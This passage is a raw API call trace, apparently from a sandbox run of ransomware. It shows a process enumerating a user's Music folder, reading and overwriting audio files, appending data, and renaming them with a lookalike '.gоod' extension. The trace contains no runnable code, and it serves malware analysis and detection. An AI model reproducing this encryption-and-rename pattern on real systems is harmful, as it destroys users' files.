lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0198.360] ReadFile (in: hFile=0x828, lpBuffer=0x36fcb10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x36fcb10*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0198.361] CloseHandle (hObject=0x828) returned 1 [0198.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", lpFilePart=0x0) returned 0x27 [0198.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0198.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a" (normalized: "c:\\users\\fd1hvy\\music\\mupzcuygdnozi.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0198.361] GetFileType (hFile=0x828) returned 0x1 [0198.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0198.361] GetFileType (hFile=0x828) returned 0x1 [0198.362] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0xcbbd [0198.362] WriteFile (in: hFile=0x828, lpBuffer=0x36fdd70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x36fdd70*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0198.362] CloseHandle (hObject=0x828) returned 1 [0198.362] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", lpFilePart=0x0) returned 0x27 [0198.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0198.362] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a" (normalized: "c:\\users\\fd1hvy\\music\\mupzcuygdnozi.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0198.362] GetFileType (hFile=0x828) returned 0x1 [0198.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0198.362] GetFileType (hFile=0x828) returned 0x1 [0198.362] ReadFile (in: hFile=0x828, lpBuffer=0x36ffff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x36ffff8*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0199.865] CloseHandle (hObject=0x828) returned 1 [0199.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", lpFilePart=0x0) returned 0x27 [0199.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0199.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a" (normalized: "c:\\users\\fd1hvy\\music\\mupzcuygdnozi.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0199.865] GetFileType (hFile=0x828) returned 0x1 [0199.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0199.865] GetFileType (hFile=0x828) returned 0x1 [0199.865] WriteFile (in: hFile=0x828, lpBuffer=0x36731e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x36731e0*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0199.865] CloseHandle (hObject=0x828) returned 1 [0199.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", lpFilePart=0x0) returned 0x27 [0199.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a.gоod", lpFilePart=0x0) returned 0x2c [0199.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0199.866] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a" (normalized: "c:\\users\\fd1hvy\\music\\mupzcuygdnozi.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f6b770, ftCreationTime.dwHighDateTime=0x1d4c82b, ftLastAccessTime.dwLowDateTime=0x13b170b0, ftLastAccessTime.dwHighDateTime=0x1d4ce48, ftLastWriteTime.dwLowDateTime=0x7357f65c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcbcd)) returned 1 [0199.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0199.866] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a" (normalized: "c:\\users\\fd1hvy\\music\\mupzcuygdnozi.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\mupzcuygdnozi.m4a.gоod")) returned 1 [0199.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", lpFilePart=0x0) returned 0x26 [0199.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0199.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rwfrbrumnke2.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3afccc8 | out: lpFileInformation=0x3afccc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b166c0, ftCreationTime.dwHighDateTime=0x1d4d5c6, ftLastAccessTime.dwLowDateTime=0x161b21a0, ftLastAccessTime.dwHighDateTime=0x1d4c78d, ftLastWriteTime.dwLowDateTime=0x161b21a0, ftLastWriteTime.dwHighDateTime=0x1d4c78d, nFileSizeHigh=0x0, nFileSizeLow=0xf96c)) returned 1 [0199.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0199.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", lpFilePart=0x0) returned 0x26 [0199.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0199.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rwfrbrumnke2.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0199.867] GetFileType (hFile=0x828) returned 0x1 [0199.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0199.867] GetFileType (hFile=0x828) returned 0x1 [0199.867] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0199.867] ReadFile (in: hFile=0x828, lpBuffer=0x3afd070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3afd070*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0199.868] CloseHandle (hObject=0x828) returned 1 [0199.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", lpFilePart=0x0) returned 0x26 [0199.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0199.868] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rwfrbrumnke2.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0199.868] GetFileType (hFile=0x828) returned 0x1 [0199.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0199.869] GetFileType (hFile=0x828) returned 0x1 [0199.869] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0xf96c [0199.869] WriteFile (in: hFile=0x828, lpBuffer=0x3afe2d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3afe2d0*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0199.869] CloseHandle (hObject=0x828) returned 1 [0199.869] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", lpFilePart=0x0) returned 0x26 [0199.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0199.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rwfrbrumnke2.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0199.869] GetFileType (hFile=0x828) returned 0x1 [0199.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0199.869] GetFileType (hFile=0x828) returned 0x1 [0199.869] ReadFile (in: hFile=0x828, lpBuffer=0x3b00558, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3b00558*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0200.709] CloseHandle (hObject=0x828) returned 1 [0200.710] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", lpFilePart=0x0) returned 0x26 [0200.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0200.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rwfrbrumnke2.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0200.710] GetFileType (hFile=0x828) returned 0x1 [0200.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0200.710] GetFileType (hFile=0x828) returned 0x1 [0200.710] WriteFile (in: hFile=0x828, lpBuffer=0x3718698*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3718698*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0200.710] CloseHandle (hObject=0x828) returned 1 [0200.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3", lpFilePart=0x0) returned 0x26 [0200.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3.gоod", lpFilePart=0x0) returned 0x2b [0200.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0200.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rwfrbrumnke2.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b166c0, ftCreationTime.dwHighDateTime=0x1d4d5c6, ftLastAccessTime.dwLowDateTime=0x161b21a0, ftLastAccessTime.dwHighDateTime=0x1d4c78d, ftLastWriteTime.dwLowDateTime=0x73d83152, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf97c)) returned 1 [0200.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0200.711] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rwfrbrumnke2.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\rwFrbRUmnKE2.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\rwfrbrumnke2.mp3.gоod")) returned 1 [0200.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0200.713] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU", lpFilePart=0x0) returned 0x22 [0200.713] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29d72cf0, ftCreationTime.dwHighDateTime=0x1d4cebf, ftLastAccessTime.dwLowDateTime=0x72c71a20, ftLastAccessTime.dwHighDateTime=0x1d4cbe4, ftLastWriteTime.dwLowDateTime=0x72c71a20, ftLastWriteTime.dwHighDateTime=0x1d4cbe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0200.714] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29d72cf0, ftCreationTime.dwHighDateTime=0x1d4cebf, ftLastAccessTime.dwLowDateTime=0x72c71a20, ftLastAccessTime.dwHighDateTime=0x1d4cbe4, ftLastWriteTime.dwLowDateTime=0x72c71a20, ftLastWriteTime.dwHighDateTime=0x1d4cbe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.714] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3c3860, ftCreationTime.dwHighDateTime=0x1d4ce70, ftLastAccessTime.dwLowDateTime=0x2f9ddd40, ftLastAccessTime.dwHighDateTime=0x1d4d154, ftLastWriteTime.dwLowDateTime=0x2f9ddd40, ftLastWriteTime.dwHighDateTime=0x1d4d154, nFileSizeHigh=0x0, nFileSizeLow=0xe7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="05oGsAbkvo7J.m4a", cAlternateFileName="05OGSA~1.M4A")) returned 1 [0200.714] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1bc0770, ftCreationTime.dwHighDateTime=0x1d4cbc4, ftLastAccessTime.dwLowDateTime=0x3ed1c1a0, ftLastAccessTime.dwHighDateTime=0x1d4d5c3, ftLastWriteTime.dwLowDateTime=0x3ed1c1a0, ftLastWriteTime.dwHighDateTime=0x1d4d5c3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jv Y7lK.mp3", cAlternateFileName="JVY7LK~1.MP3")) returned 1 [0200.714] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1eadd0, ftCreationTime.dwHighDateTime=0x1d4d278, ftLastAccessTime.dwLowDateTime=0xe873a90, ftLastAccessTime.dwHighDateTime=0x1d4d0ad, ftLastWriteTime.dwLowDateTime=0xe873a90, ftLastWriteTime.dwHighDateTime=0x1d4d0ad, nFileSizeHigh=0x0, nFileSizeLow=0xc37b, dwReserved0=0x0, dwReserved1=0x0, cFileName="kMnPJ os9S3qMw3k.mp3", cAlternateFileName="KMNPJO~1.MP3")) returned 1 [0200.714] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc719b230, ftCreationTime.dwHighDateTime=0x1d4d117, ftLastAccessTime.dwLowDateTime=0x47527a40, ftLastAccessTime.dwHighDateTime=0x1d4d1f4, ftLastWriteTime.dwLowDateTime=0x47527a40, ftLastWriteTime.dwHighDateTime=0x1d4d1f4, nFileSizeHigh=0x0, nFileSizeLow=0x1369e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lq7yU7WDn4888z.mp3", cAlternateFileName="LQ7YU7~1.MP3")) returned 1 [0200.715] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbc71e10, ftCreationTime.dwHighDateTime=0x1d4c650, ftLastAccessTime.dwLowDateTime=0x42a3b850, ftLastAccessTime.dwHighDateTime=0x1d4d17d, ftLastWriteTime.dwLowDateTime=0x42a3b850, ftLastWriteTime.dwHighDateTime=0x1d4d17d, nFileSizeHigh=0x0, nFileSizeLow=0x15ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="weBDn0_LQsMH8ihK.mp3", cAlternateFileName="WEBDN0~1.MP3")) returned 1 [0200.715] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76482800, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0x59fd3ba0, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0x59fd3ba0, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x159c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZCEU9.m4a", cAlternateFileName="")) returned 1 [0200.715] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.715] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0200.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0200.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0200.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0200.715] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU", lpFilePart=0x0) returned 0x22 [0200.715] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29d72cf0, ftCreationTime.dwHighDateTime=0x1d4cebf, ftLastAccessTime.dwLowDateTime=0x72c71a20, ftLastAccessTime.dwHighDateTime=0x1d4cbe4, ftLastWriteTime.dwLowDateTime=0x72c71a20, ftLastWriteTime.dwHighDateTime=0x1d4cbe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0200.716] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29d72cf0, ftCreationTime.dwHighDateTime=0x1d4cebf, ftLastAccessTime.dwLowDateTime=0x72c71a20, ftLastAccessTime.dwHighDateTime=0x1d4cbe4, ftLastWriteTime.dwLowDateTime=0x72c71a20, ftLastWriteTime.dwHighDateTime=0x1d4cbe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.716] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3c3860, ftCreationTime.dwHighDateTime=0x1d4ce70, ftLastAccessTime.dwLowDateTime=0x2f9ddd40, ftLastAccessTime.dwHighDateTime=0x1d4d154, ftLastWriteTime.dwLowDateTime=0x2f9ddd40, ftLastWriteTime.dwHighDateTime=0x1d4d154, nFileSizeHigh=0x0, nFileSizeLow=0xe7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="05oGsAbkvo7J.m4a", cAlternateFileName="05OGSA~1.M4A")) returned 1 [0200.716] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1bc0770, ftCreationTime.dwHighDateTime=0x1d4cbc4, ftLastAccessTime.dwLowDateTime=0x3ed1c1a0, ftLastAccessTime.dwHighDateTime=0x1d4d5c3, ftLastWriteTime.dwLowDateTime=0x3ed1c1a0, ftLastWriteTime.dwHighDateTime=0x1d4d5c3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jv Y7lK.mp3", cAlternateFileName="JVY7LK~1.MP3")) returned 1 [0200.716] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1eadd0, ftCreationTime.dwHighDateTime=0x1d4d278, ftLastAccessTime.dwLowDateTime=0xe873a90, ftLastAccessTime.dwHighDateTime=0x1d4d0ad, ftLastWriteTime.dwLowDateTime=0xe873a90, ftLastWriteTime.dwHighDateTime=0x1d4d0ad, nFileSizeHigh=0x0, nFileSizeLow=0xc37b, dwReserved0=0x0, dwReserved1=0x0, cFileName="kMnPJ os9S3qMw3k.mp3", cAlternateFileName="KMNPJO~1.MP3")) returned 1 [0200.717] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc719b230, ftCreationTime.dwHighDateTime=0x1d4d117, ftLastAccessTime.dwLowDateTime=0x47527a40, ftLastAccessTime.dwHighDateTime=0x1d4d1f4, ftLastWriteTime.dwLowDateTime=0x47527a40, ftLastWriteTime.dwHighDateTime=0x1d4d1f4, nFileSizeHigh=0x0, nFileSizeLow=0x1369e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lq7yU7WDn4888z.mp3", cAlternateFileName="LQ7YU7~1.MP3")) returned 1 [0200.717] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbc71e10, ftCreationTime.dwHighDateTime=0x1d4c650, ftLastAccessTime.dwLowDateTime=0x42a3b850, ftLastAccessTime.dwHighDateTime=0x1d4d17d, ftLastWriteTime.dwLowDateTime=0x42a3b850, ftLastWriteTime.dwHighDateTime=0x1d4d17d, nFileSizeHigh=0x0, nFileSizeLow=0x15ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="weBDn0_LQsMH8ihK.mp3", cAlternateFileName="WEBDN0~1.MP3")) returned 1 [0200.717] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76482800, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0x59fd3ba0, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0x59fd3ba0, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x159c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZCEU9.m4a", cAlternateFileName="")) returned 1 [0200.717] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76482800, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0x59fd3ba0, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0x59fd3ba0, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x159c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZCEU9.m4a", cAlternateFileName="")) returned 0 [0200.717] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0200.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0200.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0200.718] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", lpFilePart=0x0) returned 0x33 [0200.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0200.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\05ogsabkvo7j.m4a"), fInfoLevelId=0x0, lpFileInformation=0x37d8510 | out: 